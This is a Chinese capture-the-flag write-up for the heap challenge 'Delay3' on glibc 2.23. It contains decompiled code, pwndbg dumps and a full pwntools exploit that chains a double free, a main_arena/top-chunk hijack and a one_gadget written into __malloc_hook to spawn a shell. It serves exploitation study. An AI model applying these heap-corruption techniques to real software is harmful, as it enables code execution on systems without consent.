Delay3
1 2 3 4 5 6 ➜ [/home/ywhkkx/桌面] ./Delay3 I am lazy again... 1. add2. show3. delete choice :
1 2 3 4 5 6 7 8 Delay3: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 2.6 .32 , BuildID[sha1]=edcd74af07248bb015dfdb61762ab93dce45667f, stripped [*] '/home/ywhkkx/桌面/Delay3' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,全开
1 GNU C Library (Ubuntu GLIBC 2.23 -0u buntu11) stable release versio
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 void delete () { unsigned int index; puts ("id:" ); index = read_s(); if ( index <= 9 && chunk_list[index] ) free ((void *)chunk_list[index]); else puts ("Invalid id!" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 __fastcall read_r (__int64 chunk, int size) { char buf; int i; unsigned __int64 canary; canary = __readfsqword(0x28 u); for ( i = 0 ; i < size; ++i ) { if ( (unsigned int )read(0 , &buf, 1uLL ) == -1 ) { puts ("error!" ); exit (0 ); } *(_BYTE *)(chunk + i) = buf; if ( buf == 10 ) { *(_BYTE *)(i + chunk) = 0 ; return __readfsqword(0x28 u) ^ canary; } } *(_BYTE *)(i + chunk) = 0 ; return __readfsqword(0x28 u) ^ canary; }
入侵思路
对“size”的限制导致 chunk 无法进入 unsortedbin
read_r 对末尾字节的置空限制了打印模块(同时也带来了 off-by-one)
程序每5秒钟置空一次 chunk_list
因为多线程会导致GDB打印不了数据,所以先把“pthread_create”改为了“menu”,把chunk的数量限制也改了:(再源文件中可以通过 sleep 获得原本的效果)
1 2 3 4 .text:0000000000000 ED5 lea rdx, start_routine ; start_routine .text:0000000000000 EDC mov esi, 0 ; attr .text:0000000000000 EE1 mov rdi, rax ; newthread .text:0000000000000 EE4 call menu
先泄露“heap_addr”:
1 2 3 4 5 6 7 8 9 10 add(0x48 ,'0' *0x10 ) add(0x48 ,'1' *0x10 ) delete(1 ) delete(0 ) delete(1 ) show(0 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) heap_addr=leak_addr-0x50 success('heap_addr >> ' +hex (heap_addr))
限制了 unsortedbin 怎么泄露“libc_base”呢?
tcache perthread corruption 劫持 count(直接排除)
house of orange 中的思想:当 top chunk->size 不足时会把整个 top chunk 放入 unsortedbin,所以通过覆盖 top chunk->size 的方式进行入侵(行不通,因为页对齐的原因“size”最小为“0xf41”)
因为本程序每5秒钟都会清空一次 chunk_list ,所以理论上来说,可以无限申请 chunk,这时就需要利用这个机制把 top chunk 申请完,剩下的 top chunk 进入unsortedbin时乘机泄露(也失败了,因为程序会在半分钟后自动关闭)
利用 Double free 实现 overlap ,覆盖某个chunk的size来使该chunk可以进入 unsortedbin(好像可行)
1 2 3 Allocated chunk Addr: 0x55bbab8f3060 Size: 0x100
1 2 3 4 5 6 7 8 9 10 11 12 13 add(0x48 ,p64(leak_addr-0x10 )) add(0x48 ,'3' *(0x48 -0x18 )+p64(0 )+p64(0x50 )) add(0x48 ,'4' *0x8 ) payload=p64(0 )+p64(0xa1 ) add(0x48 ,payload) add(0x48 ,'5' *0x8 ) add(0x48 ,'6' *0x8 ) delete (1 )show(1 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-0x3c4b78 success('leak_addr >> ' +hex(leak_addr)) success('libc_base >> ' +hex(libc_base))
接下来就是利用了,我第一个想到 malloc_hook:
1 2 3 pwndbg> x/20 xg 0x7f7b59291b05 0x7f7b59291b05 <__memalign_hook+5 >: 0x7b58f52a7000007f 0x000000000000007f 0x7f7b59291b15 <__malloc_hook+5 >: 0x0000000000000000 0x0000000000000000
又是因为“size”的限制,hook 打不了
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x7f362e950b78 00 :0000 │ 0x7f362e950b78 (main_arena+88 ) —▸ 0x561957262140 ◂— 0x0 01 :0008 │ 0x7f362e950b80 (main_arena+96 ) ◂— 0x0 02 :0010 │ 0x7f362e950b88 (main_arena+104 ) —▸ 0x561957262000 ◂— 0x0 03 :0018 │ 0x7f362e950b90 (main_arena+112 ) —▸ 0x561957262050 ◂— 0x0 all [corrupted] FD: 0x561957262000 —▸ 0x7f362e950b78 (main_arena+88 ) ◂— 0x561957262000 BK: 0x561957262050 —▸ 0x7f362e950b78 (main_arena+88 ) ◂— 0x561957262050
最后利用 Double free 通过top chunk的首位“\x55”申请到 main_arena 中,却始终劫持不了 hook,在被堆风水和段错误折磨了6个多小时后,我蚌埠住了(其实最恶心的一点是:在多线程中,GDB打印不了数据了,如果 nop 掉多线程操作,有些步骤又没法完成,吐了)
1 2 3 4 5 6 7 8 9 10 11 pwndbg> bins 'fastbins' : Print the contents of an arena' s fastbins, default to the current thread' s arena.Exception occurred: fastbins: Could not convert Python object: None. (<class 'TypeError' >) For more info invoke `set exception-verbose on` and rerun the command or debug it by yourself with `set exception-debugger on`'unsortedbin' : Print the contents of an arena' s unsortedbin, default to the current thread' s arena.Exception occurred: unsortedbin: Could not convert Python object: None. (<class 'TypeError' >) For more info invoke `set exception-verbose on` and rerun the command or debug it by yourself with `set exception-debugger on`'smallbins' : Print the contents of an arena' s smallbins, default to the current thread' s arena.Exception occurred: smallbins: Could not convert Python object: None. (<class 'TypeError' >)
还是学习大佬的wp吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 import sysfrom pwn import *context.log_level = 'debug' context(arch='amd64' , os='linux' ) def Log (name ): log.success(name+' = ' +hex (eval (name))) elf = ELF('./Delay3' ) libc=ELF('./libc-2.23.so' ) sh = process('./Delay3' ) def Num (n, l=8 ): sh.sendline(str (n)) def Cmd (n, wait=True ): if (wait): sh.recvuntil(' :' ) Num(n) def Add (size, cont='' ): if (len (cont)==0 ): cont = 'A' *(size-1 )+'\n' Cmd(1 ) sh.recvuntil(':\n' ) Num(size) sh.recvuntil(':\n' ) sh.send(cont) def Show (idx ): Cmd(2 ) sh.recvuntil(':\n' ) Num(idx) def Delete (idx ): Cmd(3 ) sh.recvuntil(':\n' ) Num(idx) def GDB (): gdb.attach(sh, ''' telescope (0x202040+0x0000555555554000) 16 break *malloc ''' )Add(0x48 ) Add(0x48 ) Add(0x58 , 'A' *0x40 +flat(0 , 0x51 )+'\n' ) Add(0x58 ) Add(0x58 , 'A' *0x30 +flat(0 , 0x21 , 0 , 0 )+'\n' ) Delete(0 ) Delete(1 ) Delete(0 ) Show(0 ) heap_addr = u64(sh.recv(6 )+'\x00\x00' )-0x170 Log('heap_addr' ) Add(0x48 , flat(heap_addr+0x210 )+'\n' ) Add(0x48 ) Add(0x48 ) Add(0x48 , flat(0 , 0xA1 )+'\n' ) Delete(3 ) Show(3 ) libc.address = u64(sh.recv(6 )+'\x00\x00' )-0x3c4b78 Log('libc.address' ) Delete(0 ) Delete(1 ) Delete(0 ) Add(0x48 , flat(0x61 )+'\n' ) sh.recvuntil('clear done!\n' ) Num(666 ) Add(0x48 ) Add(0x48 ) Add(0x58 ) Add(0x58 ) Delete(2 ) Delete(3 ) Delete(2 ) Add(0x58 , flat(libc.address+0x3c4b38 )+'\n' ) Add(0x58 ) Add(0x58 ) Add(0x58 , '\x00' *0x30 +flat(libc.symbols['__malloc_hook' ]-0x28 )[0 :6 ]+'\n' ) OGG = libc.address+0x4527a exp = flat(0 , 0 ) exp+= flat(OGG) exp+= flat(libc.symbols['realloc' ]+8 ) Add(0x58 , exp+'\n' ) Cmd(1 ) sh.recvuntil(':\n' ) Num(1 ) sh.interactive()
先看 leak 过程:(leak 过程没有太大差别)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Add(0x48 ) Add(0x48 ) Add(0x58 , 'A' *0x40 +flat(0 , 0x51 )+'\n' ) Add(0x58 ) Add(0x58 , 'A' *0x30 +flat(0 , 0x21 , 0 , 0 )+'\n' ) Delete(0 ) Delete(1 ) Delete(0 ) Show(0 ) heap_addr = u64(sh.recv(6 )+'\x00\x00' )-0x170 Log('heap_addr' ) Add(0x48 , flat(heap_addr+0x210 )+'\n' ) Add(0x48 ) Add(0x48 ) Add(0x48 , flat(0 , 0xA1 )+'\n' ) Delete(3 ) Show(3 ) libc.address = u64(sh.recv(6 )+'\x00\x00' )-0x3c4b78 Log('libc.address' )
利用 Double free 在 free chunk 的 FD 中写入“0x61”
1 2 3 4 5 6 7 Delete(0 ) Delete(1 ) Delete(0 ) Add(0x48 , flat(0x61 )+'\n' )
1 2 3 4 5 pwndbg> heap Free chunk (fastbins) | PREV_INUSE Addr: 0x562feeed8000 Size: 0x51 fd: 0x61
前两个chunk用于“暴露0x61”,后两个chunk继续打 Double free
1 2 3 4 5 6 7 8 9 10 11 Add(0x48 ) Add(0x48 ) Add(0x58 ) Add(0x58 ) Delete(2 ) Delete(3 ) Delete(2 )
1 2 3 4 5 6 7 8 9 pwndbg> bins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x61 0x60 : 0x55d2842660a0 —▸ 0x55d284266100 ◂— 0x55d2842660a0 0x70 : 0x0 0x80 : 0x0
刚开始我很疑惑,为什么要在 fastbin-0x50 这里写上 0x61 呢,后来想到当我自己劫持 main_arena 时的经历,fastbin 中的地址存储在 main_arena 靠前的偏移中,于是我打印了下 main_arena:
1 2 3 4 5 6 7 pwndbg> telescope 0x7f59fc5f0b78 -88 00 :0000 │ 0x7f59fc5f0b20 (main_arena) ◂— 0x0 ... ↓ 3 skipped 04 :0020 │ 0x7f59fc5f0b40 (main_arena+32 ) ◂— 0x61 05 :0028 │ 0x7f59fc5f0b48 (main_arena+40 ) —▸ 0x55d62de34100 ◂— 0x0 06 :0030 │ 0x7f59fc5f0b50 (main_arena+48 ) ◂— 0x0 07 :0038 │ 0x7f59fc5f0b58 (main_arena+56 ) ◂— 0x0
发现“0x61”真的在 main_arena 中,这下可以 Double free 劫持了(刚开始我采用了 top chunk 地址的“0x55”来劫持 main_arena ,结果只能劫持 unsortedbin ,最后发生了严重的段错误)
Double free 劫持 top chunk:(top chunk 比 fastbin,unsortedbin 都要好劫持)
1 2 3 4 5 6 Add(0x58 , flat(libc.address+0x3c4b38 )+'\n' ) Add(0x58 ) Add(0x58 ) Add(0x58 , '\x00' *0x30 +flat(libc.symbols['__malloc_hook' ]-0x28 )[0 :6 ]+'\n' )
1 2 3 4 5 6 7 8 9 10 pwndbg> telescope 0x7f409e371ba8 -136 00 :0000 │ 0x7f409e371b20 (main_arena) ◂— 0x0 ... ↓ 3 skipped 04 :0020 │ 0x7f409e371b40 (main_arena+32 ) ◂— 0x61 05 :0028 │ 0x7f409e371b48 (main_arena+40 ) ◂— 0x0 ... ↓ 2 skipped pwndbg> 08 :0040 │ 0x7f409e371b60 (main_arena+64 ) ◂— 0x0 ... ↓ 2 skipped 0b :0058 │ 0x7f409e371b78 (main_arena+88 ) —▸ 0x7f409e371ae8 (_IO_wide_data_0+296 ) ◂— 0x0
1 2 3 4 pwndbg> heap Allocated chunk Addr: 0x7f409e371000 Size: 0x7f409e7b8540
成功劫持 top chunk,在我劫持 unsortedbin 的时候,末尾置空这一点始终困扰着我(末尾置空破坏了 main_arena 结构导致了段错误,后来避免段错误后,发现根本通不过检查)
大佬的这种写法可以少去1字节,使“\x00”不会覆盖后面的数据
1 2 3 4 5 OGG = libc.address+0x4527a exp = flat(0 , 0 ) exp+= flat(OGG) exp+= flat(libc.symbols['realloc' ]+8 ) Add(0x58 , exp+'\n' )
1 2 3 4 5 6 7 pwndbg> telescope 0x7fe67e7edae8 00 :0000 │ 0x7fe67e7edae8 (_IO_wide_data_0+296 ) ◂— 0x0 01 :0008 │ 0x7fe67e7edaf0 (_IO_wide_data_0+304 ) ◂— 0x61 02 :0010 │ 0x7fe67e7edaf8 ◂— 0x0 03 :0018 │ 0x7fe67e7edb00 (__memalign_hook) ◂— 0x0 04 :0020 │ 0x7fe67e7edb08 (__realloc_hook) —▸ 0x7fe67e46e27a (do_system+1098 ) ◂— mov rax, qword ptr [rip + 0x37ec37 ]05 :0028 │ 0x7fe67e7edb10 (__malloc_hook) —▸ 0x7fe67e4ad718 (realloc +8 ) ◂— mov r12, rsi
top chunk 的申请没有“size”的要求,对 __realloc_hook
和 __malloc_hook
的操作是为了重置栈帧
小结:
这6个多小时的解题有点折磨,最后看了wp回头看本题目时,发现思路也挺清晰
反正我是把可能技术都尝试了一遍:
首先是 leak 那里就出来问题,泄露出了“heap_addr”但是泄露不出“libc_base”(“size”的限制)
在此基础上,因为有 off-by-one 所以我选择打 unlink,结果当然失败了,先不管实现了 overlap 有什么用,覆盖“size->P位”的过程会把整个“size”给覆盖掉
使用 Double free 修改了“chunk->size”把它释放到了 unsortedbin 中,泄露了“libc_base”
接下来我当然想到了利用 Double free 劫持 hook,还是因为“size”的原因劫持不了(hook前面也没有“\x55”等可以劫持的地址)
又想到可以控制 top chunk 来打 House Of Force(size限制,排除)和 House Of Einherjar(只能控制 top chunk 前面的区域,控制不了 hook,排除)
House Of Orange 肯定也不行
FSOP 中 unsortedbin attack 勉强可以执行,但是 FSOP 需要伪造很长的IO_FILE结构体,size明显不符合条件
然后选择 main_arena 劫持,因为 top chunk 那里有“0x55”(main_arena+88),但是接下来只能劫持后面的 unsortedbin 了,末尾置空又会导致严重的段错误
最后止步于此…………
看了大佬的wp,发现其核心在于把“0x61”放入 fastbin 中,而后对应的 main_arena 条目就变为了“0x61”,可以利用 Double free 申请到这里,从而可以控制 top chunk(top chunk的检查比fastbin,unsortedbin少很多)
本题目使我的堆风水提高了不少(我前前后后改了不知道多少遍堆风水,最后才避免了报错)
另外学习到了 main_arena 劫持这门技术(限制“size”时必选)
我觉得我还是缺少历练,需要多多打比赛(挨打),做题(坐牢)